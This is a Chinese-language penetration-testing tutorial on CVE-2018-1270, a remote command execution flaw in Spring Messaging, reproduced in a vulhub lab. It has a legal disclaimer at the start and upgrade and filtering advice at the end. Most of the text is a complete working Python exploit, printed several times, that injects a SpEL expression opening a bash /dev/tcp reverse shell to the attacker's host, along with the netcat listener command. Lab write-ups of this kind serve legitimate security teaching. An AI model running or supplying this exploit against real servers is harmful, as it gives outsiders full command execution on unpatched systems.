【vulhub spring CVE-2018-1270】CVE-2018-1270 Spring Messaging 远程命令执行漏洞 完整复现详细分析解释
安全提示与职业操守
做渗透测试,必须严格遵守以下原则:
- 合法授权 :仅在书面授权的范围内使用,禁止未授权测试;
- 最小影响 :避免使用高风险参数(如sqlmap工具的
--risk=3、--os-shell),防止目标服务崩溃; - 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
- 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
- 本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。
- 未经授权对目标系统进行渗透测试、漏洞利用等操作均属于违法行为,以下内容仅用于授权环境下的漏洞复现、安全研究与教学目的,使用者需遵守《网络安全法》等相关法律法规,一切违规操作带来的后果由使用者自行承担。
在vulhub打开环境


ip:port 进入web服务界面

vulhub里有exp脚本,需要修改成反弹shell的脚本
原本exp:
python
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
修改后exp:
python
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
# 'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)

修改成自己本机的IP和端口,执行exp,并在攻击机上监听端口

反弹shell成功
下面是spring CVE-2018-1270的详细分析解释:
深入剖析 Spring Messaging CVE-2018-1270 远程命令执行漏洞(原理 + 复现 + EXP 解析)
一、漏洞概述
1.1 漏洞基础信息
- 漏洞编号:CVE-2018-1270
- 影响组件:Spring Framework 旗下的 Spring Messaging 模块
- 影响版本:Spring Framework 5.0 to 5.0.4、Spring Framework 4.3 to 4.3.14(其他老旧版本也可能受影响)
- 漏洞类型:远程命令执行(RCE)
- 危害等级:高危(未授权攻击者可远程执行任意系统命令,完全控制目标服务器)
1.2 核心危害
Spring Messaging 模块为 WebSocket/STOMP 协议提供消息传递能力,该漏洞源于其对 STOMP 订阅请求中selector参数的 SpEL 表达式校验缺失,攻击者可通过注入恶意 SpEL 表达式,触发远程代码执行,进而获取服务器权限。
二、漏洞原理
2.1 核心依赖:SpEL 表达式
SpEL(Spring Expression Language)是 Spring 框架内置的表达式语言,支持运行时动态执行表达式、调用 Java 类 / 方法,例如:
java
// 执行系统命令的核心SpEL表达式
T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
其中T()用于调用 Java 类的静态方法,Runtime.getRuntime().exec()是 Java 执行系统命令的经典方式。
2.2 漏洞触发逻辑
Spring Messaging 的 STOMP 协议订阅功能允许客户端通过selector参数指定消息选择器,框架会将该参数作为 SpEL 表达式解析执行,但未对表达式内容做任何过滤 / 校验:
- 攻击者构造包含恶意 SpEL 的 STOMP 订阅请求;
- 服务端解析
selector参数时,执行恶意表达式; - 表达式调用
Runtime.exec()执行系统命令,触发 RCE。
2.3 协议层面触发条件
漏洞需通过 SockJS(WebSocket 的降级方案)发送 STOMP 协议请求,核心流程:
- 建立 SockJS 连接 → 发送 CONNECT 帧 → 发送 SUBSCRIBE 帧(注入恶意 SpEL) → 发送 SEND 帧触发表达式执行。
三、环境准备
3.1 环境搭建(Vulhub)
bash
# 进入vulhub对应目录
cd vulhub/spring/CVE-2018-1270
# 启动漏洞环境
docker-compose up -d
# 验证环境启动:访问 http://靶机IP:8080/gs-guide-websocket
3.2 攻击机准备
- 监听端口(用于反弹 Shell):
bash
nc -lvvp 9999 # Kali/Linux环境
四、漏洞复现(完整流程)
4.1 核心 EXP 修改
Vulhub 提供的原始 EXP 仅执行touch /tmp/success,需修改为反弹 Shell 的恶意表达式,关键修改点:
python
# 原表达式(仅创建文件)
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')"
# 修改后(反弹Shell)
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的KaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})'
4.2 执行 EXP
- 修改 EXP 中的
靶机IP和KaliIP/监听端口; - 运行 EXP:
bash
python3 exp.py
- 攻击机监听端口收到反弹 Shell,验证漏洞利用成功。
五、EXP 深度解析
以下是完整 EXP 的逐模块解析,清晰说明每一行的作用:
5.1 基础依赖导入
python
#!/usr/bin/env python3
import requests # 发送HTTP请求
import random # 生成随机数
import string # 生成随机字符串
import time # 时间戳/延时
import threading # 多线程处理SockJS连接
import logging # 日志输出
import sys # 系统参数
import json # JSON序列化
5.2 日志配置 + 随机字符串生成
python
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
# 生成指定长度的随机字符串(小写字母+数字),用于SockJS连接路径
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
5.3 SockJS 核心类(关键)
SockJS 是 WebSocket 的降级方案,用于模拟 WebSocket 连接,该类实现连接建立、请求发送:
python
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
# 构造SockJS连接路径(随机数+随机字符串,符合SockJS协议规范)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True # 设为守护线程,主进程退出时自动销毁
self.session = requests.session() # 复用HTTP会话
# 设置请求头(Referer/User-Agent,模拟合法客户端请求)
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000) # 生成时间戳(SockJS请求参数)
def run(self):
# 建立SockJS长连接(htmlfile模式),维持连接状态
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5) # 延时避免连接断开
def send(self, command, headers, body=''):
# 构造STOMP协议帧,并发送POST请求
# 1. 拼接STOMP帧内容(命令+头部+体)
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00') # STOMP帧结束符
# 2. JSON序列化(SockJS要求请求体为JSON数组)
data = json.dumps([''.join(data)])
# 3. 发送POST请求到xhr_send接口
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
# 4. 日志输出发送结果
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close() # 销毁时关闭HTTP会话
5.4 漏洞利用核心流程
python
# 1. 初始化SockJS连接(目标地址为漏洞接口)
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start() # 启动线程维持长连接
time.sleep(1) # 等待连接建立
# 2. 发送CONNECT帧(建立STOMP会话)
sockjs.send('connect', {
'accept-version': '1.1,1.0', # 指定STOMP版本
'heart-beat': '10000,10000' # 心跳包间隔
})
# 3. 发送SUBSCRIBE帧(核心:注入恶意SpEL表达式)
sockjs.send('subscribe', {
# 恶意SpEL表达式:反弹Shell到攻击机
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的KaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0', # 订阅ID(任意值)
'destination': '/topic/greetings' # 订阅目标(漏洞接口固定值)
})
# 4. 发送SEND帧(触发SUBSCRIBE中的SpEL表达式执行)
data = json.dumps({'name': 'vulhub'}) # 任意合法JSON体
sockjs.send('send', {
'content-length': len(data), # 消息体长度
'destination': '/app/hello' # 发送目标(漏洞接口固定值)
}, data)
5.5 完整 EXP 代码
python
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
# 日志配置:输出到控制台,级别为INFO
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
# 生成随机字符串:用于构造SockJS的唯一连接路径
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
# SockJS客户端类:模拟STOMP协议的WebSocket连接
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
# 构造SockJS的基础路径:随机数+随机字符串,模拟合法连接
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True # 设为守护线程,主进程退出时自动销毁
self.session = requests.session() # 复用HTTP会话,保持连接
# 构造请求头:模拟合法浏览器请求,绕过简单的校验
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000) # 生成时间戳,用于请求参数
# 线程运行方法:维持SockJS连接,避免连接断开
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
# 循环读取响应行,模拟客户端持续连接
for line in response.iter_lines():
time.sleep(0.5)
# 核心发送方法:构造STOMP协议的命令请求(connect/subscribe/send)
def send(self, command, headers, body=''):
# 构造STOMP协议格式的请求体
data = [command.upper(), '\n']
# 拼接请求头(如accept-version、selector等)
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00') # STOMP协议结束符
data = json.dumps([''.join(data)]) # 转为JSON格式,适配SockJS传输
# 发送POST请求到xhr_send接口,触发STOMP命令执行
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
# 日志输出请求结果
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
# 析构方法:关闭HTTP会话,释放资源
def __del__(self):
self.session.close()
# ========== 漏洞触发逻辑 ==========
# 初始化SockJS客户端,指定目标WebSocket路径
sockjs = SockJS('http://靶机IP:8080/gs-guide-websocket')
sockjs.start() # 启动线程,维持连接
time.sleep(1) # 等待连接建立
# 1. 发送CONNECT命令:建立STOMP连接
sockjs.send('connect', {
'accept-version': '1.1,1.0', # 指定STOMP协议版本
'heart-beat': '10000,10000' # 心跳包间隔,维持连接
})
# 2. 发送SUBSCRIBE命令:注入恶意SpEL表达式(核心漏洞触发点)
sockjs.send('subscribe', {
# 恶意SpEL表达式:执行反弹Shell命令
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0', # 订阅ID,唯一标识
'destination': '/topic/greetings' # 消息目标主题
})
# 3. 发送SEND命令:触发消息处理流程,执行订阅时的SpEL表达式
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data), # 消息体长度
'destination': '/app/hello' # 消息发送目标
}, data)
5.6 关键模块解析
| 模块 | 作用说明 |
|---|---|
random_str |
生成随机字符串,构造 SockJS 唯一连接路径,模拟合法客户端连接 |
SockJS 类 |
模拟 SockJS 客户端,封装 STOMP 协议的连接、订阅、发送等核心操作 |
run 方法 |
维持 SockJS 长连接,避免连接被服务器主动断开 |
send 方法 |
构造符合 STOMP 协议格式的请求,向目标接口发送 connect/subscribe/send 命令 |
subscribe 阶段 |
向 selector 参数注入执行反弹 Shell 的 SpEL 表达式,核心漏洞触发点 |
send 阶段 |
触发消息处理流程,迫使服务器解析并执行 selector 中的恶意表达式 |
5.7 核心恶意表达式解析
java
T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"})
T(java.lang.Runtime):SpEL 中调用 Java 类的静态方法exec(...):执行系统命令,使用数组形式避免命令拼接被过滤exec 5<>/dev/tcp/IP/端口:建立 TCP 连接,文件描述符 5 绑定该连接cat <&5 | while read line; do $line 2>&5 >&5; done:循环读取攻击机发送的命令,执行后将结果返回攻击机
5.8 关键知识点
- 反弹 Shell 表达式 :使用
new String[]避免空格截断问题,exec 5<>/dev/tcp是 Linux 下反弹交互式 Shell 的经典写法; - SockJS 线程:必须维持长连接,否则请求会被服务端拒绝;
- STOMP 帧格式 :严格遵循
命令\n头部\n\n体\x00的格式,否则解析失败。
六、防御建议
6.1 版本升级
升级 Spring Framework 至安全版本:
- Spring 5.0.x:升级到 5.0.5 及以上;
- Spring 4.3.x:升级到 4.3.15 及以上。
6.2 输入校验
对 STOMP 订阅请求的selector参数做严格过滤:
- 禁止包含
T(、Runtime、exec等敏感关键字; - 限制 SpEL 表达式的执行范围,仅允许白名单内的表达式。
6.3 禁用不必要功能
若业务无需 STOMP 订阅的selector功能,直接禁用该参数解析。
6.4 网络防护
- 限制漏洞接口(如
/gs-guide-websocket)的访问来源,仅允许可信 IP; - 部署 WAF,拦截包含恶意 SpEL 表达式的请求。
七、总结
CVE-2018-1270 的核心是未校验的 SpEL 表达式注入,利用 Spring Messaging 的 STOMP 协议订阅机制实现 RCE。该漏洞的利用依赖 SockJS 协议的请求构造,EXP 的核心是模拟合法的 STOMP 帧并注入恶意 SpEL。防御的核心是版本升级 + 输入校验,同时限制敏感接口的访问范围,从源头阻断攻击。
对于安全从业者,理解该漏洞的核心在于掌握 SpEL 表达式的执行逻辑和 STOMP/SockJS 协议的交互流程,这也是 Spring 框架类漏洞的典型分析思路。
本文仅用于技术研究与安全防御,禁止用于非法攻击。因滥用本文内容导致的一切法律责任,由使用者自行承担。